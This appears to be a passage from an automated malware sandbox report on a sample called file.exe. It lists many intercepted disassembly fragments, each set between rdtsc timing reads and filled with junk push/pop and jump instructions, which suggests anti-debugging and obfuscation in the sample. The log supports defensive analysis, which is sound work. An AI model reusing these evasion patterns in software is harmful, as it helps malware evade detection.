Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA356 second address: 6CA3A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F892C6C1166h 0x00000009 ja 00007F892C6C1166h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 2A9CD6BFh 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F892C6C1168h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000015h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov ecx, edi 0x00000035 push 2E22827Bh 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007F892C6C1170h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA808 second address: 6CA812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F892C71B566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CA812 second address: 6CA816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAEAE second address: 6CAEB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6CAEB3 second address: 6CAEB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703970 second address: 703984 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F892C71B566h 0x00000008 je 00007F892C71B566h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703984 second address: 703992 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703992 second address: 703996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703996 second address: 70399A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703EA3 second address: 703EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F892C71B566h 0x0000000a ja 00007F892C71B566h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 703EB3 second address: 703ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1174h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70417D second address: 704181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D46 second address: 705D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D4C second address: 705D51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D51 second address: 705D57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D57 second address: 705D5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705D5D second address: 705D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F892C6C1171h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F892C6C1176h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 708794 second address: 7087A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C71B571h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CA75 second address: 70CA7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D047 second address: 70D04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C644 second address: 70C64A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D5D4 second address: 70D5D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70D5D8 second address: 70D5E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715640 second address: 715675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B577h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a jmp 00007F892C71B578h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 715675 second address: 71567B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71567B second address: 71568D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C71B56Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714F69 second address: 714F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 714F70 second address: 714F76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919C3 second address: 6919CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919CD second address: 6919D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919D3 second address: 6919D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919D9 second address: 6919DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919DF second address: 6919E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6919E3 second address: 691A28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F892C71B566h 0x0000000d jbe 00007F892C71B566h 0x00000013 jmp 00007F892C71B575h 0x00000018 jnl 00007F892C71B566h 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 jmp 00007F892C71B56Fh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691A28 second address: 691A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691A30 second address: 691A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F892C71B566h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D325 second address: 71D330 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F892C6C1166h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D330 second address: 71D338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71D627 second address: 71D63A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007F892C6C1166h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DBC1 second address: 71DBCD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F892C71B566h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DBCD second address: 71DBD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71DBD3 second address: 71DBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 720586 second address: 7205A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F892C6C1171h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7206EA second address: 7206F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7206F3 second address: 7206F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7206F9 second address: 720727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F892C71B572h 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F892C71B56Bh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725C75 second address: 725C83 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F892C6C116Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725C83 second address: 725C87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725C87 second address: 725CA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C1177h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725CA4 second address: 725CB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725CB4 second address: 725CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725CB8 second address: 725CBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725CBE second address: 725CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F892C6C1174h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725E1F second address: 725E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F892C71B576h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725F87 second address: 725F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F892C6C116Ah 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 725F98 second address: 725F9D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726106 second address: 726110 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F892C6C1166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726110 second address: 726116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726116 second address: 726151 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F892C6C1166h 0x00000009 jp 00007F892C6C1166h 0x0000000f jmp 00007F892C6C1177h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F892C6C1172h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7262F1 second address: 72630F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnl 00007F892C71B566h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jp 00007F892C71B566h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b pop eax 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72630F second address: 726317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726317 second address: 726327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jo 00007F892C71B56Eh 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726456 second address: 726462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push ebx 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726462 second address: 726467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726467 second address: 72649D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F892C6C1173h 0x00000008 jmp 00007F892C6C116Ah 0x0000000d jo 00007F892C6C1166h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F892C6C116Ah 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72649D second address: 7264B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C71B56Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7264B3 second address: 7264B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7265F9 second address: 7265FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7265FF second address: 72660D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push ecx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72660D second address: 726622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F892C71B56Eh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726FFB second address: 726FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726FFF second address: 72701F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F892C71B56Dh 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F892C71B566h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EFCF second address: 72EFD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EFD3 second address: 72EFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F892C71B573h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D133 second address: 72D173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jl 00007F892C6C1166h 0x0000000e push esi 0x0000000f pop esi 0x00000010 jnl 00007F892C6C1166h 0x00000016 jne 00007F892C6C1166h 0x0000001c popad 0x0000001d js 00007F892C6C1168h 0x00000023 push edx 0x00000024 pop edx 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F892C6C1178h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D173 second address: 72D18C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F892C71B566h 0x00000009 jmp 00007F892C71B56Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D30C second address: 72D31C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F892C6C116Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D5ED second address: 72D605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F892C71B582h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F892C71B56Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D8A6 second address: 72D8B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F892C6C116Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E3BD second address: 72E3DF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F892C71B56Ah 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f ja 00007F892C71B566h 0x00000015 jo 00007F892C71B566h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72E3DF second address: 72E3E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EC48 second address: 72EC6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F892C71B574h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72EC6C second address: 72EC95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F892C6C1179h 0x0000000f popad 0x00000010 popad 0x00000011 push edi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738A0F second address: 738A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738A15 second address: 738A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738A1B second address: 738A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737FD4 second address: 737FDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737FDA second address: 737FEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F892C71B566h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737FEB second address: 737FF5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F892C6C1166h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7386C8 second address: 7386CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7386CF second address: 7386FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F892C6C1172h 0x00000009 popad 0x0000000a jmp 00007F892C6C1170h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 742704 second address: 742729 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F892C71B573h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jnp 00007F892C71B566h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740989 second address: 74098F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74098F second address: 7409AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F892C71B575h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741DBF second address: 741DCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 jnp 00007F892C6C1166h 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741DCD second address: 741DD7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F892C71B572h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 741DD7 second address: 741DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
